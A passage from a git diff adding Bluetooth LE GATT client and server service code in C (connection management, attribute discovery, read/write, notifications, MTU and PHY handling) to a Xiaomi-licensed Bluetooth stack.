find_gattc_element_by_handle(connection, msg->param.notify.element_id); + if (element && element->notify_enable) { + GATT_CBACK(connection->callbacks, on_notified, connection, msg->param.notify.element_id, msg->param.notify.value, msg->param.notify.length); + } + } break; + case GATTC_EVENT_MTU_UPDATE: { + GATT_CBACK(connection->callbacks, on_mtu_updated, connection, msg->param.mtu.status, msg->param.mtu.mtu); + } break; + case GATTC_EVENT_PHY_READ: { + GATT_CBACK(connection->callbacks, on_phy_read, connection, msg->param.phy.tx_phy, msg->param.phy.rx_phy); + } break; + case GATTC_EVENT_PHY_UPDATE: { + GATT_CBACK(connection->callbacks, on_phy_updated, connection, msg->param.phy.status, msg->param.phy.tx_phy, msg->param.phy.rx_phy); + } break; + case GATTC_EVENT_RSSI_READ: { + GATT_CBACK(connection->callbacks, on_rssi_read, connection, msg->param.rssi_read.status, msg->param.rssi_read.rssi); + } break; + case GATTC_EVENT_CONN_PARAM_UPDATE: { + GATT_CBACK(connection->callbacks, on_conn_param_updated, connection, msg->param.conn_param.status, msg->param.conn_param.interval, + msg->param.conn_param.latency, msg->param.conn_param.timeout); + } break; + default: { + + } break; + } + +end: + gattc_msg_destory(msg); +} + +static bt_status_t gattc_send_message(gattc_msg_t* msg) +{ + assert(msg); + + do_in_service_loop(gattc_process_message, msg); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t if_gattc_init(void) +{ + memset(&g_gattc_manager, 0, sizeof(g_gattc_manager)); + + g_gattc_manager.started = false; + + return BT_STATUS_SUCCESS; +} + +static bt_status_t if_gattc_startup(profile_on_startup_t cb) +{ + bt_status_t status; + gattc_manager_t* manager = &g_gattc_manager; + + if (manager->started) { + cb(PROFILE_GATTC, true); + return BT_STATUS_SUCCESS; + } + + manager->allocator = index_allocator_create(CONFIG_BLUETOOTH_GATTC_MAX_CONNECTIONS - 1); + if (!manager->allocator) { + status = BT_STATUS_NOMEM; + goto fail; + } + + manager->connections = bt_list_new((bt_list_free_cb_t)gattc_connection_delete); + if (!manager->connections) { + status = BT_STATUS_NOMEM; + goto fail; + } + +#ifdef CONFIG_BLUETOOTH_STACK_LE_ZBLUE + status = bt_sal_gatt_client_enable(); + if (status != BT_STATUS_SUCCESS) + goto fail; +#endif + + manager->started = true; + cb(PROFILE_GATTC, true); + + return BT_STATUS_SUCCESS; + +fail: + index_allocator_delete(&manager->allocator); + bt_list_free(manager->connections); + manager->connections = NULL; + cb(PROFILE_GATTC, false); + + return status; +} + +static bt_status_t if_gattc_shutdown(profile_on_shutdown_t cb) +{ + gattc_manager_t* manager = &g_gattc_manager; + + if (!manager->started) { + cb(PROFILE_GATTC, true); + return BT_STATUS_SUCCESS; + } + + bt_list_free(manager->connections); + manager->connections = NULL; + index_allocator_delete(&manager->allocator); + manager->started = false; +#ifdef CONFIG_BLUETOOTH_STACK_LE_ZBLUE + bt_sal_gatt_client_disable(); +#endif + cb(PROFILE_GATTC, true); + + return BT_STATUS_SUCCESS; +} + +static void if_gattc_cleanup(void) +{ + g_gattc_manager.started = false; +} + +static int if_gattc_get_state(void) +{ + return 1; +} + +static int if_gattc_dump(void) +{ + bt_list_node_t* cnode; + bt_list_t* clist = g_gattc_manager.connections; + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + char uuid_str[40] = { 0 }; + + for (cnode = bt_list_head(clist); cnode != NULL; cnode = bt_list_next(clist, cnode)) { + gattc_connection_t* connection = (gattc_connection_t*)bt_list_node(cnode); + bt_list_node_t* snode; + bt_list_t* slist = connection->services; + int s_id = 0; + + bt_addr_ba2str(&connection->remote_addr, addr_str); + BT_LOGI("GATT Client[%d]: State:%d, Peer:%s", connection->conn_id, connection->state, addr_str); + for (snode = bt_list_head(slist); snode != NULL; snode = bt_list_next(slist, snode)) { + gattc_service_t* service = (gattc_service_t*)bt_list_node(snode); + gatt_element_t* element = service->elements; + + BT_LOGI("\tAttribute Table[%d]: Handle:0x%04x~0x%04x, Num:%d", s_id++, service->start_handle, service->end_handle, service->element_size); + for (int i = 0; i < service->element_size; i++, element++) { + bt_uuid_to_string(&element->uuid, uuid_str, 40); + BT_LOGI("\t\t>[0x%04x][Type:%d][Prop:%04x][UUID:%s]", element->handle, element->type, element->properties, + uuid_str); + } + } + + if (bt_list_is_empty(slist)) + BT_LOGI("\tNo Services found"); + } + + return 0; +} + +static bt_status_t if_gattc_create_connect(void* remote, void** phandle, gattc_callbacks_t* callbacks) +{ + bt_status_t status; + + CHECK_ENABLED(); + if (!phandle) + return BT_STATUS_PARM_INVALID; + + gattc_connection_t* connection = gattc_connection_new(callbacks); + if (!connection) { + BT_LOGE("New gattc connection alloc failed"); + return BT_STATUS_NOMEM; + } + + connection->services = bt_list_new((bt_list_free_cb_t)gattc_service_delete); + if (!connection->services) { + status = BT_STATUS_NOMEM; + goto fail; + } + + connection->pend_ops = bt_list_new((bt_list_free_cb_t)gattc_pendops_delete); + if (!connection->pend_ops) { + status = BT_STATUS_NOMEM; + goto fail; + } + + bt_list_add_tail(g_gattc_manager.connections, connection); + + connection->remote = remote; + connection->manager = &g_gattc_manager; + connection->state = PROFILE_STATE_DISCONNECTED; + connection->user_phandle = phandle; + *phandle = connection; + + return BT_STATUS_SUCCESS; + +fail: + gattc_connection_delete(connection); + return status; +} + +static bt_status_t if_gattc_delete_connect(void* conn_handle) +{ + gattc_connection_t* connection = conn_handle; + + CHECK_ENABLED(); + CHECK_CONNECTION_VALID(g_gattc_manager.connections, connection); + + void** user_phandle = connection->user_phandle; + bt_sal_gatt_client_disconnect(PRIMARY_ADAPTER, &connection->remote_addr); + bt_list_free(connection->services); + connection->services = NULL; + bt_list_remove(g_gattc_manager.connections, connection); + *user_phandle = NULL; + + return BT_STATUS_SUCCESS; +} + +static bt_status_t if_gattc_connect(void* conn_handle, bt_address_t* addr, ble_addr_type_t addr_type) +{ + gattc_connection_t* connection = conn_handle; + + CHECK_ENABLED(); + CHECK_CONNECTION_VALID(g_gattc_manager.connections, connection); + + BT_ADDR_LOG("GATTC-CONNECT-REQUEST addr:%s", addr); + bt_status_t status = bt_sal_gatt_client_connect(PRIMARY_ADAPTER, addr, addr_type); + if (status == BT_STATUS_SUCCESS) { + connection->state = PROFILE_STATE_CONNECTING; + memcpy(&connection->remote_addr, addr, sizeof(connection->remote_addr)); + } + + return status; +} + +static bt_status_t if_gattc_disconnect(void* conn_handle) +{ + gattc_connection_t* connection = conn_handle; + + CHECK_ENABLED(); + CHECK_CONNECTION_VALID(g_gattc_manager.connections, connection); + + BT_ADDR_LOG("GATTC-DISCONNECT-REQUEST addr:%s", &connection->remote_addr); + bt_status_t status = bt_sal_gatt_client_disconnect(PRIMARY_ADAPTER, &connection->remote_addr); + if (status == BT_STATUS_SUCCESS) + connection->state = PROFILE_STATE_DISCONNECTING; + + return status; +} + +static bt_status_t if_gattc_discover_service(void* conn_handle, bt_uuid_t* filter_uuid) +{ + gattc_connection_t* connection = conn_handle; + + CHECK_ENABLED(); + CHECK_CONNECTION_VALID(g_gattc_manager.connections, connection); + + bt_status_t status; + if (!filter_uuid || !filter_uuid->type) { + status = bt_sal_gatt_client_discover_all_services(PRIMARY_ADAPTER, &connection->remote_addr); + } else { + status = bt_sal_gatt_client_discover_service_by_uuid(PRIMARY_ADAPTER, &connection->remote_addr, filter_uuid); + } + + return status; +} + +static bt_status_t if_gattc_get_attribute_by_handle(void* conn_handle, uint16_t attr_handle, gatt_attr_desc_t* attr_desc) +{ + gattc_connection_t* connection = conn_handle; + + CHECK_ENABLED(); + CHECK_CONNECTION_VALID(g_gattc_manager.connections, connection); + CHECK_ATTR_HANDLE_VALID(attr_handle); + + if (!attr_desc) + return BT_STATUS_PARM_INVALID; + + gatt_element_t* element = find_gattc_element_by_handle(connection, attr_handle); + if (!element) + return BT_STATUS_NO_RESOURCES; + + attr_desc->handle = element->handle; + attr_desc->type = element->type; + attr_desc->properties = element->properties; + memcpy(&attr_desc->uuid, &element->uuid, sizeof(attr_desc->uuid)); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t if_gattc_get_attribute_by_uuid(void* conn_handle, uint16_t start_handle, uint16_t end_handle, bt_uuid_t* attr_uuid, gatt_attr_desc_t* attr_desc) +{ + gattc_connection_t* connection = conn_handle; + + CHECK_ENABLED(); + CHECK_CONNECTION_VALID(g_gattc_manager.connections, connection); + + if (!attr_desc) + return BT_STATUS_PARM_INVALID; + + gatt_element_t* element = find_gattc_element_by_uuid(connection, start_handle, end_handle, attr_uuid); + if (!element) + return BT_STATUS_NO_RESOURCES; + + attr_desc->handle = element->handle; + attr_desc->type = element->type; + attr_desc->properties = element->properties; + memcpy(&attr_desc->uuid, &element->uuid, sizeof(attr_desc->uuid)); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t if_gattc_read(void* conn_handle, uint16_t attr_handle) +{ + gattc_connection_t* connection = conn_handle; + + CHECK_ENABLED(); + CHECK_CONNECTION_VALID(g_gattc_manager.connections, connection); + CHECK_ATTR_HANDLE_VALID(attr_handle); + + return bt_sal_gatt_client_read_element(PRIMARY_ADAPTER, &connection->remote_addr, attr_handle); +} + +static bt_status_t if_gattc_write(void* conn_handle, uint16_t attr_handle, uint8_t* value, uint16_t length) +{ + gattc_connection_t* connection = conn_handle; + + CHECK_ENABLED(); + CHECK_CONNECTION_VALID(g_gattc_manager.connections, connection); + CHECK_ATTR_HANDLE_VALID(attr_handle); + + return bt_sal_gatt_client_write_element(PRIMARY_ADAPTER, &connection->remote_addr, attr_handle, + value, length, GATT_WRITE_TYPE_RSP); +} + +static bt_status_t if_gattc_write_without_response(void* conn_handle, uint16_t attr_handle, uint8_t* value, uint16_t length) +{ + gattc_connection_t* connection = conn_handle; + + CHECK_ENABLED(); + CHECK_CONNECTION_VALID(g_gattc_manager.connections, connection); + CHECK_ATTR_HANDLE_VALID(attr_handle); + + return bt_sal_gatt_client_write_element(PRIMARY_ADAPTER, &connection->remote_addr, attr_handle, + value, length, GATT_WRITE_TYPE_NO_RSP); +} + +static bt_status_t if_gattc_signed_write(void* conn_handle, uint16_t attr_handle, uint8_t* value, uint16_t length) +{ + gattc_connection_t* connection = conn_handle; + + CHECK_ENABLED(); + CHECK_CONNECTION_VALID(g_gattc_manager.connections, connection); + + return bt_sal_gatt_client_write_element(PRIMARY_ADAPTER, &connection->remote_addr, attr_handle, + value, length, GATT_WRITE_TYPE_SIGNED); +} + +static bt_status_t if_gattc_subscribe(void* conn_handle, uint16_t attr_handle, uint16_t ccc_value) +{ + gattc_connection_t* connection = conn_handle; + gatt_element_t* element; + uint16_t properties; + + CHECK_ENABLED(); + CHECK_CONNECTION_VALID(g_gattc_manager.connections, connection); + CHECK_ATTR_HANDLE_VALID(attr_handle); + + element = find_gattc_element_by_handle(connection, attr_handle); + if (!element) { + return BT_STATUS_NOT_FOUND; + } + + if (ccc_value & GATT_CCC_NOTIFY) { + if (!(element->properties & GATT_PROP_NOTIFY)) { + return BT_STATUS_NOT_SUPPORTED; + } + properties = GATT_PROP_NOTIFY; + } else if (ccc_value & GATT_CCC_INDICATE) { + if (!(element->properties & GATT_PROP_INDICATE)) { + return BT_STATUS_NOT_SUPPORTED; + } + properties = GATT_PROP_INDICATE; + } else { + return BT_STATUS_PARM_INVALID; + } + + return bt_sal_gatt_client_register_notifications(PRIMARY_ADAPTER, &connection->remote_addr, attr_handle, properties, true); +} + +static bt_status_t if_gattc_unsubscribe(void* conn_handle, uint16_t attr_handle) +{ + gattc_connection_t* connection = conn_handle; + gatt_element_t* element; + + CHECK_ENABLED(); + CHECK_CONNECTION_VALID(g_gattc_manager.connections, connection); + CHECK_ATTR_HANDLE_VALID(attr_handle); + + element = find_gattc_element_by_handle(connection, attr_handle); + if (!element) { + return BT_STATUS_NOT_FOUND; + } + + if (!(element->properties & (GATT_PROP_NOTIFY | GATT_PROP_INDICATE))) { + return BT_STATUS_NOT_SUPPORTED; + } + + return bt_sal_gatt_client_register_notifications(PRIMARY_ADAPTER, &connection->remote_addr, attr_handle, element->properties, false); +} + +static bt_status_t if_gattc_exchange_mtu(void* conn_handle, uint32_t mtu) +{ + gattc_connection_t* connection = conn_handle; + + CHECK_ENABLED(); + CHECK_CONNECTION_VALID(g_gattc_manager.connections, connection); + + if (mtu > GATT_MAX_MTU_SIZE) { + mtu = GATT_MAX_MTU_SIZE; + } + + return bt_sal_gatt_client_send_mtu_req(PRIMARY_ADAPTER, &connection->remote_addr, mtu); +} + +static bt_status_t if_gattc_update_connection_parameter(void* conn_handle, uint32_t min_interval, uint32_t max_interval, uint32_t latency, + uint32_t timeout, uint32_t min_connection_event_length, uint32_t max_connection_event_length) +{ + gattc_connection_t* connection = conn_handle; + + CHECK_ENABLED(); + CHECK_CONNECTION_VALID(g_gattc_manager.connections, connection); + + return bt_sal_gatt_client_update_connection_parameter(PRIMARY_ADAPTER, &connection->remote_addr, min_interval, max_interval, latency, + timeout, min_connection_event_length, max_connection_event_length); +} + +static bt_status_t if_gattc_read_phy(void* conn_handle) +{ + gattc_connection_t* connection = conn_handle; + + CHECK_ENABLED(); + CHECK_CONNECTION_VALID(g_gattc_manager.connections, connection); + + return bt_sal_gatt_client_read_phy(PRIMARY_ADAPTER, &connection->remote_addr); +} + +static bt_status_t if_gattc_update_phy(void* conn_handle, ble_phy_type_t tx_phy, ble_phy_type_t rx_phy) +{ + gattc_connection_t* connection = conn_handle; + + CHECK_ENABLED(); + CHECK_CONNECTION_VALID(g_gattc_manager.connections, connection); + + return bt_sal_gatt_client_set_phy(PRIMARY_ADAPTER, &connection->remote_addr, tx_phy, rx_phy); +} + +static bt_status_t if_gattc_read_rssi(void* conn_handle) +{ + gattc_connection_t* connection = conn_handle; + + CHECK_ENABLED(); + CHECK_CONNECTION_VALID(g_gattc_manager.connections, connection); + + return bt_sal_gatt_client_read_remote_rssi(PRIMARY_ADAPTER, &connection->remote_addr); +} + +static const gattc_interface_t gattc_if = { + .size = sizeof(gattc_if), + .create_connect = if_gattc_create_connect, + .delete_connect = if_gattc_delete_connect, + .connect = if_gattc_connect, + .disconnect = if_gattc_disconnect, + .discover_service = if_gattc_discover_service, + .get_attribute_by_handle = if_gattc_get_attribute_by_handle, + .get_attribute_by_uuid = if_gattc_get_attribute_by_uuid, + .read = if_gattc_read, + .write = if_gattc_write, + .write_without_response = if_gattc_write_without_response, + .write_signed = if_gattc_signed_write, + .subscribe = if_gattc_subscribe, + .unsubscribe = if_gattc_unsubscribe, + .exchange_mtu = if_gattc_exchange_mtu, + .update_connection_parameter = if_gattc_update_connection_parameter, + .read_phy = if_gattc_read_phy, + .update_phy = if_gattc_update_phy, + .read_rssi = if_gattc_read_rssi, +}; + +static const void* get_gattc_profile_interface(void) +{ + return (void*)&gattc_if; +} + +/**************************************************************************** + * Public Functions + ****************************************************************************/ +void if_gattc_on_connection_state_changed(bt_address_t* addr, profile_connection_state_t state) +{ + gattc_msg_t* msg = gattc_msg_new(GATTC_EVENT_CONNECT_CHANGE, addr, 0); + msg->param.connect_change.state = state; + msg->param.connect_change.reason = 0; + gattc_send_message(msg); +} + +void if_gattc_on_service_discovered(bt_address_t* addr, gatt_element_t* elements, uint16_t size) +{ + gattc_msg_t* msg = gattc_msg_new(GATTC_EVENT_DISCOVER_RESULT, addr, 0); + msg->param.discover_res.elements = elements; + msg->param.discover_res.size = size; + gattc_send_message(msg); +} + +void if_gattc_on_discover_completed(bt_address_t* addr, gatt_status_t status) +{ + gattc_msg_t* msg = gattc_msg_new(GATTC_EVENT_DISOCVER_CMPL, addr, 0); + msg->param.discover_cmpl.status = status; + gattc_send_message(msg); +} + +void if_gattc_on_element_read(bt_address_t* addr, uint16_t element_id, uint8_t* value, uint16_t length, gatt_status_t status) +{ + gattc_msg_t* msg = gattc_msg_new(GATTC_EVENT_READ, addr, length); + msg->param.read.status = status; + msg->param.read.element_id = element_id; + msg->param.read.length = length; + memcpy(msg->param.read.value, value, length); + gattc_send_message(msg); +} + +void if_gattc_on_element_written(bt_address_t* addr, uint16_t element_id, gatt_status_t status) +{ + gattc_msg_t* msg = gattc_msg_new(GATTC_EVENT_WRITE, addr, 0); + msg->param.write.status = status; + msg->param.write.element_id = element_id; + gattc_send_message(msg); +} + +void if_gattc_on_element_subscribed(bt_address_t* addr, uint16_t element_id, gatt_status_t status, bool enable) +{ + gattc_msg_t* msg = gattc_msg_new(GATTC_EVENT_SUBSCRIBE, addr, 0); + msg->param.subscribe.status = status; + msg->param.subscribe.element_id = element_id; + msg->param.subscribe.enable = enable; + gattc_send_message(msg); +} + +void if_gattc_on_element_changed(bt_address_t* addr, uint16_t element_id, uint8_t* value, uint16_t length) +{ + gattc_msg_t* msg = gattc_msg_new(GATTC_EVENT_NOTIFY, addr, length); + msg->param.notify.is_notify = true; + msg->param.notify.element_id = element_id; + msg->param.notify.length = length; + memcpy(msg->param.notify.value, value, length); + gattc_send_message(msg); +} + +void if_gattc_on_mtu_changed(bt_address_t* addr, uint32_t mtu, gatt_status_t status) +{ + gattc_msg_t* msg = gattc_msg_new(GATTC_EVENT_MTU_UPDATE, addr, 0); + msg->param.mtu.status = status; + msg->param.mtu.mtu = mtu; + gattc_send_message(msg); +} + +void if_gattc_on_phy_read(bt_address_t* addr, ble_phy_type_t tx_phy, ble_phy_type_t rx_phy) +{ + gattc_msg_t* msg = gattc_msg_new(GATTC_EVENT_PHY_READ, addr, 0); + msg->param.phy.tx_phy = tx_phy; + msg->param.phy.rx_phy = rx_phy; + gattc_send_message(msg); +} + +void if_gattc_on_phy_updated(bt_address_t* addr, ble_phy_type_t tx_phy, ble_phy_type_t rx_phy, gatt_status_t status) +{ + gattc_msg_t* msg = gattc_msg_new(GATTC_EVENT_PHY_UPDATE, addr, 0); + msg->param.phy.status = status; + msg->param.phy.tx_phy = tx_phy; + msg->param.phy.rx_phy = rx_phy; + gattc_send_message(msg); +} + +void if_gattc_on_rssi_read(bt_address_t* addr, int32_t rssi, gatt_status_t status) +{ + gattc_msg_t* msg = gattc_msg_new(GATTC_EVENT_RSSI_READ, addr, 0); + msg->param.rssi_read.status = status; + msg->param.rssi_read.rssi = rssi; + gattc_send_message(msg); +} + +void if_gattc_on_connection_parameter_updated(bt_address_t* addr, uint16_t connection_interval, uint16_t peripheral_latency, + uint16_t supervision_timeout, bt_status_t status) +{ + gattc_msg_t* msg = gattc_msg_new(GATTC_EVENT_CONN_PARAM_UPDATE, addr, 0); + msg->param.conn_param.status = status; + msg->param.conn_param.interval = connection_interval; + msg->param.conn_param.latency = peripheral_latency; + msg->param.conn_param.timeout = supervision_timeout; + gattc_send_message(msg); +} + +void* if_gattc_get_remote(void* conn_handle) +{ + if (!conn_handle) + return NULL; + + gattc_connection_t* connection = conn_handle; + return connection->remote; +} + +static const profile_service_t gattc_service = { + .auto_start = true, + .name = PROFILE_GATTC_NAME, + .id = PROFILE_GATTC, + .transport = BT_TRANSPORT_BLE, + .uuid = { BT_UUID128_TYPE, { 0 } }, + .init = if_gattc_init, + .startup = if_gattc_startup, + .shutdown = if_gattc_shutdown, + .process_msg = NULL, + .get_state = if_gattc_get_state, + .get_profile_interface = get_gattc_profile_interface, + .cleanup = if_gattc_cleanup, + .dump = if_gattc_dump, +}; + +void register_gattc_service(void) +{ + register_service(&gattc_service); +} diff --git a/service/profiles/gatt/gatts_event.c b/service/profiles/gatt/gatts_event.c new file mode 100644 index 0000000000000000000000000000000000000000..3b92cb676b1ee264e43571f602562b8e99fac2a3 --- /dev/null +++ b/service/profiles/gatt/gatts_event.c @@ -0,0 +1,55 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <stdlib.h> +#include <string.h> + +#include "gatts_event.h" + +gatts_msg_t* gatts_msg_new(gatts_event_t event, uint16_t playload_length) +{ + gatts_msg_t* msg; + + msg = (gatts_msg_t*)malloc(sizeof(gatts_msg_t) + playload_length); + if (msg == NULL) + return NULL; + + msg->event = event; + + return msg; +} + +void gatts_msg_destory(gatts_msg_t* msg) +{ + free(msg); +} + +gatts_op_t* gatts_op_new(gatts_request_t request) +{ + gatts_op_t* operation; + + operation = (gatts_op_t*)malloc(sizeof(gatts_op_t)); + if (operation == NULL) + return NULL; + + operation->request = request; + + return operation; +} + +void gatts_op_destory(gatts_op_t* operation) +{ + free(operation); +} diff --git a/service/profiles/gatt/gatts_service.c b/service/profiles/gatt/gatts_service.c new file mode 100644 index 0000000000000000000000000000000000000000..7915b2c0491d80929f74a7740454310bae026880 --- /dev/null +++ b/service/profiles/gatt/gatts_service.c @@ -0,0 +1,893 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "gatts" +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include <stdint.h> +#include <sys/types.h> + +#include "bt_list.h" +#include "bt_profile.h" +#include "gatts_event.h" +#include "gatts_service.h" +#include "sal_gatt_server_interface.h" +#include "service_loop.h" +#include "service_manager.h" +#include "utils/log.h" + +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ +#define CHECK_ENABLED() \ + { \ + if (!g_gatts_manager.started) \ + return BT_STATUS_NOT_ENABLED; \ + } + +#define CHECK_SERVICE_VALID(_list, _srv) \ + do { \ + bt_list_node_t* _node; \ + if (!_srv) \ + return BT_STATUS_PARM_INVALID; \ + for (_node = bt_list_head(_list); _node != NULL; _node = bt_list_next(_list, _node)) { \ + if (bt_list_node(_node) == _srv) \ + break; \ + } \ + if (!_node) \ + return BT_STATUS_PARM_INVALID; \ + } while (0) + +#define GATTS_CALLBACK_FOREACH(_cbsl, _type, _cback, args...) \ + do { \ + bt_list_node_t* _node; \ + bt_list_t* _list = _cbsl; \ + for (_node = bt_list_head(_list); _node != NULL; _node = bt_list_next(_list, _node)) { \ + _type* _inst = (_type*)bt_list_node(_node); \ + if (_inst->callbacks && _inst->callbacks->_cback) \ + _inst->callbacks->_cback(_inst, args); \ + } \ + } while (0) + +/**************************************************************************** + * Private Types + ****************************************************************************/ + +typedef struct +{ + bool started; + bt_list_t* services; + bt_list_t* pend_ops; + +} gatts_manager_t; + +typedef struct +{ + uint16_t start_handle; + uint16_t end_handle; + int element_size; + gatt_element_t elements[0]; + +} service_table_t; + +typedef struct +{ + void* remote; + uint16_t srv_id; + void** user_phandle; + gatts_manager_t* manager; + gatts_callbacks_t* callbacks; + bt_list_t* tables; + +} gatts_service_t; + +/**************************************************************************** + * Private Function Prototypes + ****************************************************************************/ + +/**************************************************************************** + * Private Data + ****************************************************************************/ +static gatts_manager_t g_gatts_manager = { + .started = false, + .services = NULL, + .pend_ops = NULL, +}; + +/**************************************************************************** + * Private Functions + ****************************************************************************/ + +static bool element_id_cmp(void* table, void* id) +{ + uint16_t f_handle = *(uint16_t*)id; + service_table_t* f_svc_table = (service_table_t*)table; + return (f_handle >= f_svc_table->start_handle && f_handle <= f_svc_table->end_handle); +} + +static service_table_t* find_service_table_by_id(gatts_service_t* service, uint16_t element_id) +{ + return bt_list_find(service->tables, element_id_cmp, &element_id); +} + +static gatt_element_t* find_service_element_by_id(gatts_service_t* service, uint16_t element_id) +{ + service_table_t* svc_table = find_service_table_by_id(service, element_id); + if (!svc_table) + return NULL; + + gatt_element_t* element = svc_table->elements; + for (int i = 0; i < svc_table->element_size; i++, element++) { + if (element->handle == element_id) + return element; + } + return NULL; +} + +static bool service_id_cmp(void* service, void* id) +{ + return (((gatts_service_t*)service)->srv_id == (*((uint16_t*)id))); +} + +static gatts_service_t* find_gatts_service_by_id(uint16_t srv_id) +{ + srv_id = GATT_ELEMENT_GROUP_ID(srv_id); + return bt_list_find(g_gatts_manager.services, service_id_cmp, &srv_id); +} + +static uint16_t generate_service_id(void) +{ + for (uint16_t i = 0x100; i < GATT_ELEMENT_GROUP_MAX; i += 0x100) { + if (find_gatts_service_by_id(i) == NULL) { + return i; + } + } + BT_LOGE("service id overflow"); + return 0; +} + +static service_table_t* service_table_new(int element_size) +{ + service_table_t* table = malloc(sizeof(service_table_t) + sizeof(gatt_element_t) * element_size); + if (!table) + return NULL; + + table->element_size = element_size; + + return table; +} + +static void service_table_delete(service_table_t* table) +{ + if (!table) + return; + + gatt_element_t* elements = table->elements; + for (int i = 0; i < table->element_size; i++, elements++) { + if (elements->attr_data) + free(elements->attr_data); + } + + free(table); +} + +static gatts_service_t* gatts_service_new(gatts_callbacks_t* callbacks) +{ + uint16_t new_id = generate_service_id(); + if (!new_id) + return NULL; + + gatts_service_t* service = calloc(1, sizeof(gatts_service_t)); + if (!service) + return NULL; + + service->tables = bt_list_new((bt_list_free_cb_t)service_table_delete); + if (!service->tables) { + free(service); + return NULL; + } + + service->srv_id = new_id; + service->callbacks = callbacks; + + return service; +} + +static void gatts_service_delete(gatts_service_t* service) +{ + if (!service) + return; + + bt_list_free(service->tables); + free(service); +} + +static void gatts_pendops_delete(gatts_op_t* operation) +{ + if (!operation) + return; + + free(operation); +} + +static gatts_op_t* gatts_pendops_execute_out(gatts_manager_t* manager, gatts_request_t request) +{ + bt_list_node_t* node; + bt_list_t* list = manager->pend_ops; + for (node = bt_list_head(list); node != NULL; node = bt_list_next(list, node)) { + gatts_op_t* operation = (gatts_op_t*)bt_list_node(node); + if (operation->request == request) { + return operation; + } + } + return NULL; +} + +static void gatts_process_message(void* data) +{ + gatts_service_t* service; + gatts_msg_t* msg = (gatts_msg_t*)data; + + if (!g_gatts_manager.started) + goto end; + + switch (msg->event) { + case GATTS_EVENT_ATTR_TABLE_ADDED: { + service = find_gatts_service_by_id(msg->param.added.element_id); + if (service) { + GATT_CBACK(service->callbacks, on_attr_table_added, service, msg->param.added.status, msg->param.added.element_id ^ service->srv_id); + } + } break; + case GATTS_EVENT_ATTR_TABLE_REMOVED: { + service = find_gatts_service_by_id(msg->param.removed.element_id); + if (service) { + service_table_t* svc_table = find_service_table_by_id(service, msg->param.removed.element_id); + if (svc_table) { + bt_list_remove(service->tables, svc_table); + } + GATT_CBACK(service->callbacks, on_attr_table_removed, service, msg->param.removed.status, msg->param.removed.element_id ^ service->srv_id); + } + } break; + case GATTS_EVENT_CONNECT_CHANGE: { + profile_connection_state_t connect_state = msg->param.connect_change.state; + BT_ADDR_LOG("GATTS-CONNECTION-STATE-EVENT from:%s, state:%d", &msg->param.connect_change.addr, connect_state); + if (connect_state == PROFILE_STATE_CONNECTED) { + GATTS_CALLBACK_FOREACH(g_gatts_manager.services, gatts_service_t, on_connected, &msg->param.connect_change.addr); + } else if (connect_state == PROFILE_STATE_DISCONNECTED) { + GATTS_CALLBACK_FOREACH(g_gatts_manager.services, gatts_service_t, on_disconnected, &msg->param.connect_change.addr); + } + } break; + case GATTS_EVENT_READ_REQUEST: { + service = find_gatts_service_by_id(msg->param.read.element_id); + if (!service) + break; + + gatt_element_t* element = find_service_element_by_id(service, msg->param.read.element_id); + if (!element) + break; + + if (element->rsp_type == ATTR_AUTO_RSP) { + bt_sal_gatt_server_send_response(PRIMARY_ADAPTER, &msg->param.read.addr, msg->param.read.request_id, element->attr_data, element->attr_length); + } else if (element->read_cb) { + element->read_cb(service, &msg->param.read.addr, msg->param.read.element_id ^ service->srv_id, msg->param.read.request_id); + } + } break; + case GATTS_EVENT_WRITE_REQUEST: { + service = find_gatts_service_by_id(msg->param.write.element_id); + if (!service) + break; + + gatt_element_t* element = find_service_element_by_id(service, msg->param.write.element_id); + if (!element) + break; + + bt_sal_gatt_server_send_response(PRIMARY_ADAPTER, &msg->param.write.addr, msg->param.write.request_id, NULL, 0); + if (element->rsp_type == ATTR_AUTO_RSP) { + if (element->attr_data) { + msg->param.write.length = MIN(element->attr_length, msg->param.write.length); + memcpy(element->attr_data, msg->param.write.value, msg->param.write.length); + } + } else if (element->write_cb) { + element->write_cb(service, &msg->param.write.addr, msg->param.write.element_id ^ service->srv_id, msg->param.write.value, + msg->param.write.length, msg->param.write.offset); + } + } break; + case GATTS_EVENT_MTU_CHANGE: + GATTS_CALLBACK_FOREACH(g_gatts_manager.services, gatts_service_t, on_mtu_changed, &msg->param.mtu_change.addr, msg->param.mtu_change.mtu); + break; + case GATTS_EVENT_CHANGE_SEND: { + service = find_gatts_service_by_id(msg->param.change_send.element_id); + if (service) { + GATT_CBACK(service->callbacks, on_notify_complete, service, &msg->param.change_send.addr, msg->param.change_send.status, + msg->param.change_send.element_id ^ service->srv_id); + } + } break; + case GATTS_EVENT_PHY_READ: { + gatts_op_t* operation = gatts_pendops_execute_out(&g_gatts_manager, GATTS_REQ_READ_PHY); + if (operation) { + service = (gatts_service_t*)operation->param.phy.srv_handle; + GATT_CBACK(service->callbacks, on_phy_read, service, &msg->param.phy.addr, msg->param.phy.tx_phy, msg->param.phy.rx_phy); + bt_list_remove(g_gatts_manager.pend_ops, operation); + } + } break; + case GATTS_EVENT_PHY_UPDATE: { + if (msg->param.phy.status == GATT_STATUS_SUCCESS) { + GATTS_CALLBACK_FOREACH(g_gatts_manager.services, gatts_service_t, on_phy_updated, &msg->param.phy.addr, msg->param.phy.status, + msg->param.phy.tx_phy, 